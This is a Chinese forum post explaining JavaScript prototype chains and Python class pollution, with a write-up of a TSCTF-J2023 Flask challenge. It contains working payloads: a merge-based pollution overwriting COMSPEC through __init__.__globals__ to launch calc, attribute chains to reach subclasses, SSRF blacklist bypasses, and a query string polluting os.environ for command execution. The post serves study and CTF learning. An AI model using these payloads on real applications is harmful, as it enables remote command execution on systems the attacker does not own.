【原型链污染】Python与Js

打印 上一主题 下一主题

主题 873|帖子 873|积分 2619

【原型链污染】Python与Js

一、背景

最近在TSCTF的比赛题中遇到了Python的原型链污染题目,所以借此机会学习一下。说到原型链,最多的还是在Js中,所以就一并学习一下。(因为是菜鸡所以文章可能的存在一些错误,欢迎批评指正)。
二、JS原型链简介

原型是Js代码中对象的继承方式。其实和别的语言的继承方式类似,只不过这里将父类称之为原型。可以在浏览器控制台中测试以下代码:
  1. const myObject = {
  2.   city: "BJ",
  3.   greet() {
  4.     console.log(`Greetings from ${this.city}`);
  5.   },
  6. };
  7. myObject.greet();
复制代码
这是一个普通的访问对象属性的示例,代码输出为Greetings from BJ。
控制台中只输入myObject.就可以看到该类所有的可访问属性:
可以看到存在一些我们没有定义的属性,这些属性就是继承自原型。
当我们访问一个对象的属性时,js代码会不断一层层向上寻找原型以及原型的原型,以此类推,最后如果找到的就可以访问,否则返回undefined。因此称之为原型链
类似于Python,所有的原型链存在一个最终的原型:Object.prototype。可以使用以下代码访问一个类的原型:
  1. Object.getPrototypeOf(myObject);
复制代码
或者
  1. myObject.__proto__
复制代码
这样则会返回Object类。同时如果我们访问Object类的原型,则返回NULL。
还有一个问题:如果类中定义了一个原型中也存在的方法,那么访问时遵循什么原则呢?
运行下面的代码:
  1. const myDate = new Date(1995, 11, 17);
  2. console.log(myDate.getYear()); // 95
  3. myDate.getYear = function () {
  4.   console.log("something else!");
  5. };
  6. myDate.getYear(); // 'something else!'
复制代码
可以看到有限访问类中存在属性,这也和其他语言相同。
三、Python中的原型链污染

其实Python中并没有原型这个概念,但是原型链污染实际上是一种类污染,就是我们通过输入从而控制Python类的继承,从而达到远程执行等恶意目的,所以这里模糊将其称为Python的原型链污染。
3.1 属性与魔术方法

在利用上,和flask的模板注入类似,需要使用到Python类的一些魔术方法:__str__()、__call__()等等。但是因为我们的输入一般是str或者int型,所以直接在控制原始代码时会出现str等类型不能作为类的问题:
  1. class Employee(): pass
  2. a=Employee()
  3. a.__class__='polluted'
  4. print(a.__class__)
复制代码
上面这段代码,尝试将对象a的类进行污染,但是会报错str类型不能作为类。但是a还存在一个属性__qualname__,用于访问类的名称:
  1. class Employee(): pass
  2. a=Employee()
  3. a.__class__.__qualname__='polluted'
  4. print(a.__class__)
复制代码
通过这样的操作就可以实现修改a的类。
3.2 通过merge函数污染

一个标准的原型链污染所用代码:
  1. def merge(src, dst):
  2.     # Recursive merge function
  3.     for k, v in src.items():
  4.         if hasattr(dst, '__getitem__'):  #检查dst对象是否有__getitem__属性,如果存在则可以将dst作为字典访问
  5.             if dst.get(k) and type(v) == dict:
  6.                 merge(v, dst.get(k))
  7.             else:
  8.                 dst[k] = v
  9.         elif hasattr(dst, k) and type(v) == dict: #如果目标字典中已经存在该属性则只复制值
  10.             merge(v, getattr(dst, k))
  11.         else:
  12.             setattr(dst, k, v)
复制代码
这段代码的作用是将src字典中的内容递归地复制到dst字典中。下面通过这段代码进行类的污染:
  1. class Employee: pass # Creating an empty class
  2. def merge(src, dst):
  3.     # Recursive merge function
  4.     for k, v in src.items():
  5.         if hasattr(dst, '__getitem__'):
  6.             if dst.get(k) and type(v) == dict:
  7.                 merge(v, dst.get(k))
  8.             else:
  9.                 dst[k] = v
  10.         elif hasattr(dst, k) and type(v) == dict:
  11.             merge(v, getattr(dst, k))
  12.         else:
  13.             setattr(dst, k, v)
  14. emp_info = {
  15.     "name":"Ahemd",
  16.     "age": 23,
  17.     "manager":{
  18.             "name":"Sarah"
  19.         },
  20.     "__class__":{
  21.             "__qualname__":"Polluted"
  22.         }
  23.     }
  24. a= Employee()
  25. merge(emp_info, a)
  26. print(vars(a)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
  27. print(a.__class__) #<class '__main__.Polluted'>
复制代码
这段代码中,通过构造__class__属性中的__qualname__属性的值,并使用merge函数进行合并,因为Employee类本身具__class__属性,所以会被覆盖,实现了对对象a的污染。因为__class__等属性并不是Employee类本身的属性,而是继承的属性,所以print(vars(a))并没有打印出__class__的内容。
同样,如果我们使用下面的exp就可以实现对父类的污染:
  1. emp_info = {
  2.     "__class__":{
  3.             "__base__":{
  4.                 "__qualname__":"Polluted"
  5.             }
  6.      }
  7. }
复制代码
当然,对于不可变类型Object或者str等,Python限制不能对其进行修改。
在这种情况下,如果代码中存在一些系统执行指令,并且merge的输入可控,就会导致系统执行漏洞:
  1. import os
  2. def merge(src, dst):
  3.     # Recursive merge function
  4.     for k, v in src.items():
  5.         if hasattr(dst, '__getitem__'):
  6.             if dst.get(k) and type(v) == dict:
  7.                 merge(v, dst.get(k))
  8.             else:
  9.                 dst[k] = v
  10.         elif hasattr(dst, k) and type(v) == dict:
  11.             merge(v, getattr(dst, k))
  12.         else:
  13.             setattr(dst, k, v)
  14. class exp:
  15.     def __init__(self,cmd):
  16.         self.cmd=cmd
  17.     def excute(self):
  18.         os.system(self.cmd)
  19. a=exp('1')
  20. b={"cmd":"ping 127.0.0.1"}
  21. merge(b,a)
  22. print(vars(a))
  23. a.excute()
复制代码
3.3 任意子类的污染

3.3.1 方法

上面的代码虽然实现了命令执行,但是只是单纯地对一个普通类进行了污染。此时如果我们能找到通向其他类的属性链,就可以污染代码中的任意类,包括重要的一些内置类(例如命令执行类)。
这里其实和模板注入就非常相似了,我们都知道__globals__属性用于访问函数的全局变量字典,通过这个属性我们其实就可以实现一些变量的覆盖。但是我们如何访问这个属性呢,这个方法可以从任何已知函数定义的方法中进行访问。例如:
  1. class A:
  2.     def __init__(self):
  3.         pass
  4. instance=A()
  5. print(instance.__init__.__globals__)
复制代码
__init__属性是类中常见的函数,所以可以直接用它来实现访问__globas__变量。
但是你会说,如果没有__init__函数怎么办呢?这时就需要试试了,可以从基类Object中查找其子类,总归存在一个子类是有__init__属性的。payload:__class__.__base__.__subclasses__()。
3.3.2 实例

对于这段代码:
  1. import subprocess, json
  2. class Employee:
  3.     def __init__(self):
  4.         pass
  5. def merge(src, dst):
  6.     # Recursive merge function
  7.     for k, v in src.items():
  8.         if hasattr(dst, '__getitem__'):
  9.             if dst.get(k) and type(v) == dict:
  10.                 merge(v, dst.get(k))
  11.             else:
  12.                 dst[k] = v
  13.         elif hasattr(dst, k) and type(v) == dict:
  14.             merge(v, getattr(dst, k))
  15.         else:
  16.             setattr(dst, k, v)
  17. emp_info = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
  18. #
  19. merge(emp_info, Employee())
  20. # a=Employee()
  21. # print(vars(a))
  22. # print(a.__init__.__globals__['subprocess'])
  23. subprocess.Popen('whoami', shell=True)
复制代码
在这里,通过寻找属性链,使用__globals__属性覆盖了subprocess的值,使其在cmd中执行了calc命令,实现了弹计算器。为什么需要找subprocess呢,主要原因还是因为通过这个模块来寻找os模块,这个才是远程执行的要点,如果代码已经import os了,那我们只需要通过__globals__属性访问即可。
3.4 通过Pydash函数污染

Pydash其实和merge函数类似,将在下面TSCTF这题中给出示例。
四、TSCTF-J2023 Python Not Node

题目给了源码:
  1. from flask import Flask, request
  2. import os
  3. import pydash
  4. import urllib.request
  5. app = Flask(__name__)
  6. os.environ['cmd'] = "ping -c 10 www.baidu.com"
  7. black_list = ['localhost', '127.0.0.1']
  8. class Userinfo:
  9.    def __init__(self):
  10.        pass
  11.       
  12. class comexec:
  13.    def test_ping(self):
  14.        cmd = os.getenv('cmd')
  15.        os.system(cmd)
  16.       
  17. @app.route("/define", methods=['GET'])
  18. def define():
  19.    if request.remote_addr == '127.0.0.1':
  20.        if request.method == 'GET':
  21.            print(request.args)
  22.            usname = request.args['username']
  23.            info = request.args['info']
  24.            origin_user = request.args['origin_user']
  25.            user = {usname: info}
  26.            print(type(user))
  27.            pydash.set_with(Userinfo(), origin_user, user, lambda: {})
  28.            result = comexec().test_ping()
  29.            return "USER READY,JUST INSERT YOUR SEARCH RESULT"
  30.    else:
  31.        return "NOPE"
  32.       
  33. @app.route("/search", methods=['GET'])
  34. def search():
  35.    if request.method == 'GET':
  36.        urls = request.args['url']
  37.        for i in black_list:
  38.            if i in urls:
  39.                return "HACKER URL!"
  40.        try:
  41.            info = urllib.request.urlopen(urls).read().decode('utf-8')
  42.            return info
  43.        except Exception as e:
  44.            print(e)
  45.                return "error"
  46.    else:
  47.        return "Method error"
  48.       
  49. @app.route("/")
  50. def home():
  51.    return "<html> Welcome to this Challenge </html> "
  52. if __name__ == "__main__":
  53.    app.run(debug=True, port=37333, host='0.0.0.0')
复制代码
这段代码两个考点,一个是SSRF的URL黑名单绕过,一个就是Python的原型链泄露。

  • SSRF

    • 常见的方式是8进制、16进制、302跳转等绕过,这些都被屏蔽了,最后题解说是简单的大小写绕过。
      但是做题的时候没想到,所以使用的是localtest.me域名绕过,这是大佬买下的域名,访问时其实是重定向到本机,这样的域名还有很多。
    • 还有一个点就是需要url编码避免参数的混淆解析,因为这里SSRF的域名也需要添加参数,所以我们要进行url编码。

  • 原型链污染
    1. origin_user=__class__.__init__.__globals__.os.environ&info=Polluted
    复制代码
    这里因为已经导入了os模块,所以可以直接通过__globals__进行访问。
参考链接

Python原型链污染变体
Abdulrah33m's Blog

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

欢乐狗

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表